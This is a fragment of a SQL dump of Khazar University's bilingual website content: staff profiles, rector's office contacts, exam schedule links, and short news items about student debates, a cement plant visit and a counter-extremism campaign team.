Rectors</a><p>&nbsp;</p></td></tr><tr><td><strong>Contact:</strong></td><td><strong>&nbsp;</strong></td><td><p>Lyudmila Sotova, Head of Quality Assurance Center</p><p><a href=\"mailto:lsotova@khazar.org\">lsotova@khazar.org</a></p>+994 012 421 7916 (ext. 211)&nbsp;</td></tr><tr><td><strong>Useful links:</strong></td><td><strong>&nbsp;</strong></td><td><p><a href=\"http://www.enqa.eu/\">European Association for Quality Assurance in Higher Education</a></p><a href=\"http://www.ecaconsortium.net/\">ECA - European Consortium for Accreditation</a></td></tr><tr><td><strong>Project website:</strong></td><td>&nbsp;</td><td><a href=\"http://tempus-doqup.unige.it/\">DoQuP project website</a></td></tr></tbody></table>  <br></div>'),(1374,870,'en','Rovshan Abbasov','Rovshan Abbasov','<div><br></div><div><img src=\"/files/image/14_09_09_Rovshan_Abbasov.jpg\" style=\"width:150px;height:220px;margin:7px;float:left\"></div><div><div style=\"font-size:medium\"><p><strong>Faculty:</strong>&nbsp;Dr. Rovshan Abbasov PhD</p><p>Department of Geography and Environment</p><p>AZ 1096 Mehseti str. 11, Baku, Azerbaijan</p><p><strong>Email:</strong>&nbsp;<a href=\"mailto:rabbasov@khazar.org\">rabbasov@khazar.org</a>;&nbsp;<a href=\"mailto:abbasov@fulbrightmail.org\">abbasov@fulbrightmail.org</a></p><p><strong>Phone:</strong>&nbsp;+994 503721834</p><p><strong>Research:</strong>&nbsp;Environmental management, Environmental pollution, Environmental economics, Water resources management, flood management, disaster risk reduction, hydrology, climate changes.</p><p><strong>Education:</strong></p><p>Postdoctoral Fulbright fellow, University of California, Davis<strong>,&nbsp;</strong>2010-2011</p><p>Visiting scholar, Michigan State University, 2006-2007</p><p>PhD: National High Attestation Comission , 2001</p><p><strong>Membership in Professional organizations:</strong></p><ul><li>Focal point of Mountain partnership in Azerbaijan Republic</li><li>Focal point of International Lake Environmental Committee in Azerbaijan Republic</li><li>Focal point of Global Alliance on Health and Pollution</li><li>Member of the International Mountain Society</li><li>Member of the Global Water Partnership (2007-2010)</li><li>International Association of Hydrological Sciences</li><li>American Institute of Hydrology (2006-2008)</li><li>Azerbaijan Geography Society</li><li>&nbsp;Water Integrity network</li></ul><p>&nbsp;<strong>Professional activity:</strong></p><ul><li>Country Coordinator of Blacksmith Institute in Azerbaijan</li><li>UNDP climate change and water management expert</li><li>WWF environmental consultant</li><li>OXFAM GB DRR consultant (2007-2013)</li><li>Worldbank Water management consultant (2010-2012)</li></ul><p>&nbsp;<strong>Se</strong><strong>lected publications:</strong></p><ol><li>Rovshan Abbasov 2014 Assessment of Fresh Water Ecosystem Services in the Hydropower Sector in the Kura-Aras River Basin in Azerbaijan Study of the World Wild Foundation&nbsp;<strong>in press</strong></li><li>Scandizzo, P.L., and&nbsp;<strong>R. Abbasov</strong>. 2012. The value of water in the Greater Baku Area: an integrated water management study, Internal report, The World Bank</li><li>Ercan Ali,&nbsp;<strong>Abbasov Rovshan .K.</strong>&nbsp;(2013) Long-Range Dependence and Sea Level Forecasting. DOI 10.1007/978-3-319-01505-7 Springer International Publishing</li><li><strong>Abbasov R.K</strong>, Smakhtin V.U. (2012) Indexing Environmental Vulnerability of Mountain Streams of Azerbaijan. Mountain Research and Development 32(1):73-82.</li><li><strong>Abbasov Rovshan</strong>&nbsp;Assessment of Ecological Flow for Mountain Rivers of the Kura Basin (2011) Survival and Sustainability Environmental Earth Sciences 2011 Part 8, 1369-1379 DOI: 10.1007/978-3-540-95991-5_129</li><li><strong>Abbasov R.K</strong>. &amp; Smakhtin V.U. (2009) Introducing environmental treshholdls into water withdrawal management of mountain streams in the Kura basin, Azerbaijan. Hydrological Sciences Journal, 54 :6&nbsp; 1068 – 1078&nbsp; DOI: 10.1623/hysj.54.6.1068</li><li><strong>Abbasov R.K</strong>. &amp; Mahmudov R.N. (2009) Analysis of non climatic origins of floods in the downstream part of the Kura river, Azerbaijan. Natural Hazards 2009, 50, 235-248 DOI 10.1007/s11069-008-9335-2<strong>&nbsp;</strong></li><li></li></ol></div>  <br></div>'),(1375,871,'en','Elton Mamedov','Elton Mamedov','<div><br></div><div><img src=\"/files/image/14_09_09_Elton_Mammadov.jpg\" style=\"width:150px;height:176px;margin:7px;float:left\"><br></div><div><div style=\"font-size:medium\"><p><strong>Dr. Elton Mammadov</strong></p><p>Department of Geography and Environment</p><p>AZ 1096 Mehseti str. 11, Baku, Azerbaijan</p><p><strong>Email:</strong>&nbsp;<a href=\"mailto:emammadov@khazar.org\">emammadov@khazar.org</a>;&nbsp;<a href=\"mailto:elton-774-e@hotmail.com\">elton-774-e@hotmail.com</a></p><p><strong>Phone:</strong>&nbsp;+994 557877474</p><p><strong>Research:</strong>&nbsp;Soil genesis, geography and mapping, Soil-ecological and degradation problems, Desertification, Climate-soil-environment relations</p><p><strong>Education:</strong></p><p>Doctoral fellow, Adam Mickiewicz University, Poland 2013-recent</p><p>PhD, Soil Institute, National Academy of Sciences 2005-2008</p><p>Ms,&nbsp; Baku State University , 2003-2005</p><p>Bs, Baku State University 1999-2003</p><p><strong>Membership in Professional organizations:</strong></p><ul><li>Member of the International Mountain Society</li><li>Member of the International Association of Hydrological Sciences</li><li>Member of the Global Water Partnership (2007-2010)</li><li>Member of Azerbaijan Geography Society</li></ul><p><strong>Professional activity:</strong></p><ul><li>Blacksmith Institute, field researcher</li><li>UNDP expert, 2013-2014</li></ul><p><strong>Se</strong><strong>lected publications</strong><strong>:</strong></p><ol><li><strong>Mammadov E. 2013</strong>&nbsp;Heavy metal content and its spatial variability in the soils of the of the gold mines in Gadabay districts, International conference environmental changes conservation of plant diversity (ISBN 978-9952-8180-4-8), p.43</li><li><strong>Мамедов Е</strong>, Бабаев М, Асланова Р 2009 &nbsp;Изменение физико-химических свойств горно-лесных коричневых почв Малого Кавказа под антропогенным воздействием.</li><li><strong>Mammadov E. 2013</strong>&nbsp; GIS mapping of soil erosion and soil erosion risk in the area of Gadabay gold mine Collection of articles of Institute of Soil Science and Agrochemstry&nbsp; of ANAS (İSNN 2222-7882) 2:21, Baku, p.411-415</li><li><strong>Mammadov E. V.H.Hasanov, R.H.Aslanova, B.N.Ismailov 2013</strong>&nbsp;Soil degradation and restoration problems in Absheron Peninsula Energy, Ecology, Economy. Tenth Baku International Congress 23-25 September, Baku, 2009, p.297-299</li></ol></div></div>'),(1281,815,'en','Office of Rector','Office of Rector','<h3><strong>Rector and Acting Dean of the School of Engineering and Applied Sciences</strong></h3><strong><br></strong><p><a href=\"http://www.khazar.org/files/pdf/CV-HN_June2016.pdf\"><strong><img src=\"/files/engineering/images/Hassan_Niknafs2.jpg\" style=\"float:left;width:150px;height:202px;margin-left:7px;margin-right:7px;margin-bottom:7px\"></strong><strong>Prof. Hassan Niknafs</strong></a></p><p>PhD&nbsp;in Mechanical Engineering (University of Akron, Akron, Ohio, USA)  </p><p><strong>E-mail:</strong>&nbsp;<a href=\"mailto:Hniknafs@khazar.org\">hniknafs[at]khazar.org</a> </p><p><strong>Phone:&nbsp;</strong>(+994 12) 421 10 93</p><p><br></p><p><br></p>\r\n<hr>\r\n<p><strong><a href=\"http://www.khazar.org/files/letters/sabina_alakbarli_cv.pdf\"><img src=\"/files/letters/sabina_a.jpg\" style=\"float:left;width:150px;height:187px;margin-left:7px;margin-right:7px;margin-bottom:7px\">Sabina Alakbarli</a></strong></p><p><strong>Assistant</strong></p><p><strong>E-mail:</strong>&nbsp;<a href=\"mailto:rectorassistant@khazar.org\">rectorassistant[at]khazar.org</a>  <a href=\"mailto:rectorassistant@gmail.com\"></a>  </p><p><strong>Phone:&nbsp;</strong>(+994 12) 421 10 93 (201)</p><p><br></p>'),(1282,815,'az','Rektorluq','Rektorluq','<h3><strong>Rektor və Mühənislik və Tətbiqi elmlər fakültəsinin dekanı</strong></h3><p><a href=\"http://www.khazar.org/files/pdf/CV-HN_June2016.pdf\"><strong><img src=\"/files/engineering/images/Hassan_Niknafs2.jpg\" style=\"float:left;width:150px;height:202px;margin-left:7px;margin-right:7px;margin-bottom:7px\"></strong><strong>Prof.&nbsp;Hassan Niknafs</strong></a></p><p>Mexanika Mühəndisliyi üzrə&nbsp;Fəlsəfə doktoru (University of Akron, Akron, Ohio, ABŞ)  </p><p><strong>E-mail:</strong>&nbsp;<a href=\"mailto:Hniknafs@khazar.org\">hniknafs[at]khazar.org</a> </p><p><strong>Telefon:</strong>&nbsp;(+994 12) 421 10 93</p><p><br></p><p><br></p>\r\n<hr>\r\n<p><strong><a href=\"http://www.khazar.org/files/letters/sabina_alakbarli_cv.pdf\"><img src=\"/files/letters/sabina_a.jpg\" style=\"float:left;width:150px;height:187px;margin-left:7px;margin-right:7px;margin-bottom:7px\">Səbinə Ələkbərli</a></strong></p><p><strong>Assistent</strong></p><p><strong>E-mail:</strong>&nbsp;<a href=\"mailto:rectorassistant@khazar.org\">rectorassistant[at]khazar.org</a></p><p><strong>Telefon:&nbsp;</strong>(+994 12) 421 10 93 (201)  <br></p>'),(1283,816,'az','Prorektorların ofisi','Prorektorların ofisi','<h3><strong>Akademik işlər bölməsi<br></strong></h3>\r\n<hr>\r\n<p><a href=\"http://www.khazar.org/files/demo/Mahammad_Nuriyev_CV.pdf\"><span style=\"height:189px\"><em><img src=\"http://www.khazar.org/files/demo/M_Nuriyev.jpeg\" style=\"float:left;width:150px;height:189px;margin-left:7px;margin-right:7px;margin-bottom:7px\"></em></span><strong>Məhəmməd Nuriyev</strong></a></p><p><strong>Akademik işlər üzrə prorektor</strong></p><p><em><a href=\"http://www.khazar.org/files/demo/Mahammad_Nuriyev_CV.pdf\"></a></em><strong>E-mail:&nbsp;</strong><a href=\"mailto:mnuriyev@khazar.org\">mnouriyev[at]khazar.org</a></p><p><strong><br></strong></p><p><strong><br></strong></p><p><br></p><p><em><br></em></p><p><strong><a href=\"http://www.khazar.org/files/letters/CV-Kh%20FatullayevaFatullayeva-EN.pdf\"><img src=\"/files/admin/khayala_p.jpg\" style=\"float:left;width:150px;height:227px;margin-left:7px;margin-right:7px;margin-bottom:7px\">Xəyalə Pənahova</a></strong></p><p><strong>Assistent</strong></p><p><a href=\"http://mailto:khpanahova@khazar.org\"></a><strong>E-mail:&nbsp;</strong><a href=\"http://mailto:khpanahova@khazar.org\">khpanahova[at]khazar.org</a>    </p><p>&nbsp;</p><p><br></p><p><br></p><p><br></p><p><br></p><h3><strong>İdarəetmə və tələbə işləri bölməsi<br></strong></h3>\r\n<hr>\r\n<p><strong><img src=\"/files/letters/i.isakhanli.jpg\" style=\"width:150px;height:165px;margin-left:7px;margin-right:7px;margin-bottom:7px;float:left\"><a href=\"http://www.khazar.org/files/letters/Isaxan_CV(azeri).pdf\">İsaxan İsaxanlı</a></strong></p><p><em></em><strong>İdarəetmə və tələbə işləri üzrə pro</strong><strong>rektor</strong></p><p><a href=\"mailto:iisaxanli@khazar.org\"></a><strong>E-mail:&nbsp;</strong><a href=\"mailto:iisaxanli@khazar.org\">iisaxanli[at]khazar.org</a></p><p><br></p><p><br></p><p><br></p><p><strong><span style=\"height:266px\"><em><img src=\"http://www.khazar.org/files/letters/shemruz.jpg\" style=\"width:150px;height:266px;margin-left:7px;margin-right:7px;margin-bottom:7px;float:left\"></em></span><a href=\"http://www.khazar.org/files/letters/CV_semruz.pdf\">Şəmruz Əliyeva</a></strong></p><p><a href=\"mailto:shaliyeva[at]khazar.org\"></a><strong>Assistent</strong></p><p><strong></strong><strong>E-mail:&nbsp;</strong><a href=\"mailto:shaliyeva[at]khazar.org\">shaliyeva[at]khazar.org</a></p><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p><h3><strong>Elmi işlər bölməsi<br></strong></h3>\r\n<hr>\r\n<img src=\"/files/biolog_depart/irada_x.jpg\" style=\"float:left;width:150px;height:211px;margin-left:7px;margin-right:7px;margin-bottom:7px\"><p><strong><a href=\"http://www.khazar.org/files/letters/CV_IradaKhalilova.pdf\"><strong>İradə Xəlilova</strong></a></strong></p><p><strong><em></em><strong>Prorektor</strong></strong></p><p><strong style=\"font-weight:bold\">E-mail:&nbsp;<a href=\"http://www.khazar.org/files/biolog_depart/Irada____Khalilova_CV.pdf\"></a></strong><a href=\"mailto:ikhalilova[at]khazar.org\">ikhalilova[at]khazar.org</a>&nbsp;</p><p><strong><strong><br></strong></strong></p><p><br></p><p><br></p><p style=\"font-weight:bold\"><br></p><h3 style=\"font-weight:bold\"><strong>Magistratura, doktorantura və elmi işlər bölməsi<br></strong></h3>\r\n<hr>\r\n<p style=\"font-weight:bold\"><span style=\"height:199px\"><em><img src=\"/files/philosophy_depart/eldar_s.jpg\" style=\"width:150px;height:199px;margin-left:7px;margin-right:7px;margin-bottom:7px;float:left\"></em></span><strong><a href=\"http://www.khazar.org/files/philosophy_depart/%C6%8FSAS%20Eldar%20%C5%9Eahg%C9%99ldiyev%20-elmi%20n%C9%99%C5%9Frl%C9%99r-dekabr%202017_1.pdf\">Eldar Şahgəldiyev</a></strong></p><p style=\"font-weight:bold\"><em><strong><a href=\"http://www.khazar.org/files/philosophy_depart/%C6%8FSAS%20Eldar%20%C5%9Eahg%C9%99ldiyev%20-elmi%20n%C9%99%C5%9Frl%C9%99r-dekabr%202017_1.pdf\"></a></strong></em><strong>Magistratura, doktorantura və elmi işlər şöbəsinin&nbsp;müdiri</strong></p><p><strong style=\"font-weight:bold\"><strong>E-mail:&nbsp;</strong></strong><a href=\"mailto:eshahgaldiyev@khazar.org\">eshahgaldiyev[at]khazar.org</a></p><p style=\"font-weight:bold\"><strong><br></strong></p><p style=\"font-weight:bold\"><strong><br></strong></p><p style=\"font-weight:bold\"><strong><br></strong></p><p style=\"font-weight:bold\"><br></p>\r\n<p style=\"font-weight:bold\"><strong><strong><a href=\"http://www.khazar.org/files/master/CV-Sabina_Sharifova.pdf\"><img src=\"http://www.khazar.org/files/master/sabina_sharifova.jpg\" style=\"width:150px;height:194px;margin-left:7px;margin-right:7px;margin-bottom:7px;float:left\">Səbinə Şərifova</a></strong></strong></p><p style=\"font-weight:bold\"><strong><strong><strong><strong>Assistent</strong>  </strong></strong></strong></p><p><strong style=\"font-weight:bold\">E-mail:<em>&nbsp;</em></strong><a href=\"mailto:lsalayeva@khazar.org\"></a><a href=\"mailto:ssharifova@khazar.org\">ssharifova[at]khazar.org</a></p>'),(1818,1124,'en','Debates Keep English Classes Lively','On May 16, 2016, a debate was held between English Foundation 2 classes. This event was part of an ongoing series of debates: during the spring 2016 semester,','<p>On May 16, 2016, a debate was held between English Foundation 2\r\nclasses. This event was part of an ongoing series of debates: during\r\nthe spring 2016 semester, Foundation 2 English classes have been giving\r\nstudents the opportunity to practice their English skills with live debates every Wednesday and Friday at Khazar University. First, classes pick a topic and prepare their\r\narguments. Some of the topics that have been debated include “Money is the root\r\nof all evil,” “It’s good to be your own boss,” and “Hollywood movies have a bad\r\ninfluence on children’s behavior.”&nbsp; Then during lessons, classrooms\r\ncompete against each other in debate format. </p>\r\nThe purpose of the\r\ndebates is to improve students’ oral skills in\r\nthe English language, because during the debate students communicate only in\r\nEnglish. The debates also develop their critical thinking skills on crucial\r\nissues occurring in modern society. Working in teams during the debate helps\r\nstudents develop teamwork skills. Finally, debates help students gain a\r\nbetter understanding of themselves. They allow students to gain a more accurate\r\npicture of how others see them. The feedback that they receive may help them\r\nbetter evaluate their interpersonal behavior. &nbsp;'),(1284,816,'en','Offices of Vice Rectors','Offices of Vice Rectors\r\n','<h3><strong>Office of Vice-Rector for Academic Affairs</strong></h3>\r\n<hr style=\"font-weight:bold\">\r\n<span style=\"font-weight:bold;height:189px\"><img src=\"http://www.khazar.org/files/demo/M_Nuriyev.jpeg\" style=\"float:left;width:150px;height:189px;margin-left:7px;margin-right:7px;margin-bottom:7px\"></span><p style=\"font-weight:bold\"><strong><a href=\"http://www.khazar.org/files/demo/Mahammad_Nuriyev_CV.pdf\">Mahammad Nuriyev</a></strong></p><p style=\"font-weight:bold\"><em></em><strong>Vice-Rector&nbsp;for Academic Affairs  </strong></p><p style=\"font-weight:bold\"><strong></strong><strong>E-mail:&nbsp;</strong><a href=\"mailto:mnuriyev@khazar.org\">mnouriyev[at]khazar.org</a></p><p style=\"font-weight:bold\"><br></p><p style=\"font-weight:bold\"><br></p><p style=\"font-weight:bold\"><br></p><p style=\"font-weight:bold\"><br></p><p style=\"font-weight:bold\"><strong><a href=\"http://www.khazar.org/files/letters/CV-Kh%20FatullayevaFatullayeva-EN.pdf\"><img src=\"http://www.khazar.org/files/admin/khayala_p.jpg\" style=\"border:0px  #0000ee;width:150px;height:227px;margin-left:7px;margin-right:7px;margin-bottom:7px;float:left\">Khayala&nbsp;Panahova</a></strong></p><p style=\"font-weight:bold\"><strong>Assistant</strong></p><p style=\"font-weight:bold\"><strong>E-mail:&nbsp;</strong><a href=\"http://mailto:khpanahova@khazar.org/\">khpanahova[at]khazar.org</a>&nbsp;</p><br;<strong><p style=\"font-weight:bold\"><br></p><p style=\"font-weight:bold\"><br></p><p style=\"font-weight:bold\"><br></p><p style=\"font-weight:bold\"><br></p><p style=\"font-weight:bold\"><br></p><h3 style=\"font-weight:bold\"><strong>Office of Vice-Rector for Administration and Student Affairs</strong></h3>\r\n<hr style=\"font-weight:bold\">\r\n<p style=\"font-weight:bold\"><strong><strong><img src=\"http://www.khazar.org/files/letters/i.isakhanli.jpg\" style=\"border:0px  #000000;width:150px;height:166px;margin-left:7px;margin-right:7px;margin-bottom:7px;float:left\"><a href=\"http://www.khazar.org/files/letters/Isaxan_CV(azeri).pdf\">Isakhan Isakhanli</a></strong>&nbsp;</strong></p><p style=\"font-weight:bold\"><a href=\"mailto:iisaxanli@khazar.org\"></a><strong>Vice-Rector&nbsp;for Administration and Student Affairs  </strong></p><p><strong></strong><strong style=\"font-weight:bold\">E-mail:&nbsp;</strong><a href=\"mailto:iisaxanli@khazar.org\">iisaxanli[at]khazar.org</a></p><p style=\"font-weight:bold\"><strong><br></strong></p><p style=\"font-weight:bold\"><strong><br></strong></p><p style=\"font-weight:bold\"><br></p><p style=\"font-weight:bold\"><strong><a href=\"http://www.khazar.org/files/letters/CV_semruz.pdf\"><span style=\"height:266px\"><em><img src=\"http://www.khazar.org/files/letters/shemruz.jpg\" style=\"width:150px;height:266px;margin-left:7px;margin-right:7px;margin-bottom:7px;float:left\"></em></span>Shemruz Aliyeva</a></strong></p><p style=\"font-weight:bold\"><strong>Assistant</strong></p><p><strong><a href=\"mailto:shaliyeva[at]khazar.org\"></a></strong><strong style=\"font-weight:bold\">E-mail:&nbsp;</strong><a href=\"mailto:shaliyeva[at]khazar.org\">shaliyeva[at]khazar.org</a>  </p><p style=\"font-weight:bold\"><br></p><p style=\"font-weight:bold\"><br></p><p style=\"font-weight:bold\"><br></p><p style=\"font-weight:bold\"><br></p><p style=\"font-weight:bold\"><br></p><p style=\"font-weight:bold\"><br></p><h3 style=\"font-weight:bold\"><strong>Office of Vice-Rector for Research</strong></h3><strong style=\"font-weight:bold\">\r\n<hr>\r\n</strong><p style=\"font-weight:bold\"><img src=\"/files/biolog_depart/irada_x.jpg\" style=\"float:left;width:150px;height:211px;margin-left:7px;margin-right:7px;margin-bottom:7px\"><strong><a href=\"http://www.khazar.org/files/letters/CV_IradaKhalilova.pdf\"><strong>Irada Khalilova</strong></a></strong></p><p style=\"font-weight:bold\"><strong><em></em><strong>Vice-rector&nbsp;for Research  </strong></strong></p><p><strong style=\"font-weight:bold\"><a href=\"mailto:ikhalilova[at]khazar.org\"></a></strong><span style=\"font-weight:bold\">E-mail:<span style=\"font-weight:normal\">&nbsp;</span></span><a href=\"mailto:ikhalilova[at]khazar.org\">ikhalilova[at]khazar.org</a></p><p style=\"font-weight:bold\"><strong><br></strong></p><p style=\"font-weight:bold\"><strong><br></strong></p><p style=\"font-weight:bold\"><br></p><p style=\"font-weight:bold\"><br></p><p style=\"font-weight:bold\"><br></p><h3 style=\"font-weight:bold\"><strong><strong><strong>Division of Graduate Studies and Research&nbsp;<br></strong></strong></strong></h3>\r\n<hr style=\"font-weight:bold\">\r\n<p style=\"font-weight:bold\"><strong><strong><strong><span style=\"font-style:italic;height:199px\"><img src=\"/files/philosophy_depart/eldar_s.jpg\" style=\"width:150px;height:199px;margin-left:7px;margin-right:7px;margin-bottom:7px;float:left\"></span><a href=\"http://www.khazar.org/files/philosophy_depart/%C6%8FSAS%20Eldar%20%C5%9Eahg%C9%99ldiyev%20-elmi%20n%C9%99%C5%9Frl%C9%99r-dekabr%202017_1.pdf\">Eldar Shahgaldiyev</a></strong></strong></strong></p><p style=\"font-weight:bold\"><strong><strong><strong>Head of&nbsp;Division of Graduate Studies and Research  </strong></strong></strong></p><p><strong style=\"font-weight:bold\"><a href=\"mailto:eshahgaldiyev@khazar.org\"></a></strong><strong style=\"font-weight:bold\">E-mail:<em>&nbsp;</em></strong><a href=\"mailto:eshahgaldiyev@khazar.org\">eshahgaldiyev[at]khazar.org</a>  </p>\r\n<p style=\"font-weight:bold\"><strong><em><strong><strong><br></strong></strong></em></strong></p><p style=\"font-weight:bold\"><strong><em><strong><strong><br></strong></strong></em></strong></p><p style=\"font-weight:bold\"><strong><em><strong><strong><br></strong></strong></em></strong></p><p style=\"font-weight:bold\"><strong><em><strong><strong><br></strong></strong></em></strong></p>\r\n<p style=\"font-weight:bold\"><strong><strong><a href=\"http://www.khazar.org/files/master/CV-Sabina_Sharifova.pdf\"><img src=\"http://www.khazar.org/files/master/sabina_sharifova.jpg\" style=\"width:150px;height:194px;margin-left:7px;margin-right:7px;margin-bottom:7px;float:left\">Sabina Sharifova</a></strong></strong></p><p style=\"font-weight:bold\"><strong><strong><strong>Assistant</strong></strong></strong></p><p><strong style=\"font-weight:bold\">E-mail:<em>&nbsp;</em></strong><a href=\"mailto:lsalayeva@khazar.org\"></a><a href=\"mailto:ssharifova@khazar.org\">ssharifova[at]khazar.org</a></p></br;<strong>'),(1819,377,'az','Payız 2018 aralıq imtahan cədvəli','Yaz 2018 yekun imtahan cədvəli','<p><a href=\"http://www.khazar.org/files/economics/Examination_rules_AZ.pdf\"><strong>İmtahan qaydaları</strong></a></p><p><strong><a href=\"http://www.khazar.org/files/economics/C_Midterm%20schedule_2018%20FALL_30%2010%202018.pdf\">Payız 2018 aralıq&nbsp;imtahan cədvəli (Bakalavr və MBA)</a><a href=\"http://www.khazar.org/files/economics/a_Final_Exams_2018_spring_BBA_and_MBA.pdf\"></a><a href=\"http://www.khazar.org/files/economics/Final_Exams_2018_spring_BBA_and_MBA.pdf\"></a><a href=\"http://www.khazar.org/files/economics/Midterm_exam_Spring_2018.pdf\"></a></strong><a href=\"http://www.khazar.org/files/economics/a_2017_fall_final_exams.pdf\"></a><a href=\"http://www.khazar.org/files/economics/a_2017_fall_final.pdf\"></a><a href=\"http://www.khazar.org/files/economics/a_a4a_midterm_fall_2017.pdf\"></a><a href=\"http://www.khazar.org/files/economics/a4a_midterm_fall_2017.pdf\"></a><a href=\"http://www.khazar.org/files/economics/a_2_midterm_2017_fall.pdf\"></a><a href=\"http://www.khazar.org/files/economics/a11_mid_2017_fall.pdf\"></a><a href=\"http://www.khazar.org/files/economics/a_mid_2017_fall.pdf\"></a></p>'),(4349,2577,'az','“Çin guşəsi” layihəsinin yeni planlarının müzakirəsi keçirildi','2017-ci il oktyabrın 25-də Xəzər Universiteti Kitabxana-İnformasiya Mərkəzinin “Çin guşəsi” layihəsinin...','<p>2017-ci il oktyabrın 25-də Xəzər Universiteti Kitabxana-İnformasiya Mərkəzinin “Çin guşəsi” layihəsinin yeni planlarının müzakirəsi keçirildi. Qarşıdakı aylarda Çin mədəniyyətinin və tarixinin təbliği ilə bağlı tədbirlərin keçirilməsi planlaşdırıldı. Müzakirədə Çin dili müəllimi Li Ya, Xəzər Universitetinin Layihə koordinatoru Rima Məmmədova, Kitabxana-İnformasiya Mərkəzinin direktor müavini Aytac Misgərli və Kataloqlaşdırma bölməsinin müdiri Samirə Orucova iştirak edirdilər.</p>'),(3659,2141,'az','Tələbələr sementin istehsal prosesini izlədilər','2017-ci il mayın 4-də Xəzər Universitetinin İnşaat mühəndisliyi departamenti ilə “Norm” sement zavodu arasında əldə olunmuş razılaşmaya görə, inşaat mühəndisliyi və kimya...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">2017-ci il mayın 4-də Xəzər Universitetinin İnşaat mühəndisliyi\r\ndepartamenti ilə “Norm” sement zavodu arasında əldə olunmuş razılaşmaya görə, inşaat\r\nmühəndisliyi və kimya mühəndisliyi ixtisası üzrə təhsil alan tələbələr\r\ndepartamentin əməkdaşı Rasim Bayramlının rəhbərliyi ilə bir günlük “Norm” sement\r\nzavodunda oldular. Tələbələr zavodda aparıcı mütəxəssislərin mühazirələrinə\r\nqulaq asdılar və zavodda istehsal prosesleri ilə ətraflı tanış oldular. İstehsal\r\nprosesində sement istehsalında istifadə olunan xammal və materiallar, onların tərkibinin\r\nseçilməsi, xammalın sobalarda bişirilmə prosesi, klinkerin üyüdülməsi və s. hər\r\nbir istehsal prosesi ilə ətraflı tanış oldular. Bundan başqa, tələbələr Avropa\r\nstandartlarına uyğun fəaliyət göstərən beton və sement laboratoriyalarında\r\naparılan fiziki-kimyəvi və fiziki-mexaniki sınaqlarla da tanış oldular.</p><p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">Görüşün hər iki tərəf\r\nüçün səmərəli olduğdunu nəzərə alaraq, gələcəkdə də əməkdaşlığın davam etdirilməsi\r\nbarədə razılıq əldə olundu.</p>'),(1824,1126,'en','Imagine Team of Khazar University among Winning Teams of the Global Competition against Extremism','The Khazar University Imagine Team, which participated in the P2P: Challenging Extremism Program, has been selected as one of the top six teams in the program and will be presenting their marketing campaign in June in USA','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify\"=\"\">The Imagine Team of Khazar University\r\nwas selected as one of the top six teams for the campaign they designed and\r\nimplemented within their participation in the Peer-to-Peer (P2P): Challenging\r\nExtremism Program. Around 100 universities from more than 30 countries\r\nparticipated in the spring 2016 cycle of this global youth initiative and\r\ninternational competition. Two universities from Azerbaijan joined the\r\nExtremism Challenge this year. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify\"=\"\">&nbsp;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify\"=\"\">Six (6) top teams have been selected to\r\npresent their marketing campaigns in Washington, D.C. in June, 2016. These six\r\nteams were selected by two panels of judges representing the&nbsp;U.S. Department of State and Facebook. Each\r\npanel of judges selected three teams who will be competing against each other\r\nfor the scholarship award.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify\"=\"\">&nbsp;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify\"=\"\">Khazar University’s Imagine Team was\r\nselected by the U.S. Department of State and will present their campaign on\r\nJune 27, 2016 to senior government officials along with two teams coming from\r\nuniversities in Belgium and the USA.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify\"=\"\">&nbsp;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify\"=\"\">The second group of the three winning\r\nteams competing against each other represent universities in Afghanistan,\r\nBelgium, and the Netherlands. These teams will be presenting their campaign to\r\nthe Facebook leadership.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify\"=\"\">&nbsp;</p>\r\n<p>The Imagine Team is comprised of nine\r\n(9) students of the School of Economics and Management and is led by Ms. Sana\r\nImran, marketing instructor. Team members include: Alihuseyn Agayev (majoring\r\nin Management), Dinara Katibi (Accounting and Auditing), Erlan Ismailov\r\n(Finance), Kamilla Lyatifova (Marketing), Nadir Gadirli (Finance), Narmin\r\nAbbasova (Accounting and Auditing), Narmin Zari (Business Administration),\r\nSuleyman Yagizarov (Finance), and Ulviyya Azizova (Finance). </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify\"=\"\">&nbsp;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify\"=\"\">The Peer-to-Peer (P2P): Challenging\r\nExtremism Program is a global University Youth Initiative and International\r\nCompetition supported by the U.S. Department of State and implemented by\r\nEdVenture Partners (EVP), a marketing firm. This program provides enterprise\r\nand government agencies an innovative and effective way to communicate with and\r\nengage university students and educators in solving real problems through a\r\nprogram that provides students a genuine learning experience by producing real\r\nresults. More information about the program may be found at:</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify\"\"=\"\">Website\r\nof the U.S. Department of State: <a href=\"http://eca.state.gov/video/p2p-challenging-extremism\">http://eca.state.gov/video/p2p-challenging-extremism</a></p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify\"\"=\"\">Website\r\nof EdVenture Partners: <a href=\"http://edventurepartners.com/peer2peer/\">http://edventurepartners.com/peer2peer/</a></p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify\"=\"\">&nbsp;</p>\r\n<p>We are very proud of our team and wish\r\nthem the best of luck in their presentation in the USA!&nbsp;</p>'),(1286,818,'az','İdarəetmə və tələbə işləri üzrə','İdarəetmə və tələbə işləri üzrə','<div><br></div><div><p style=\"font-family:\'times new roman\', times, serif\"><strong>İdarəetmə və tələbə işləri üzrə&nbsp;</strong></p><hr><p style=\"font-family:\'times new roman\', times, serif\"><strong></strong></p><p style=\"font-family:\'times new roman\', times, serif\">Prorektor – Rafiq Əhmədov</p><p style=\"font-family:\'times new roman\', times, serif\">Email:&nbsp;<a 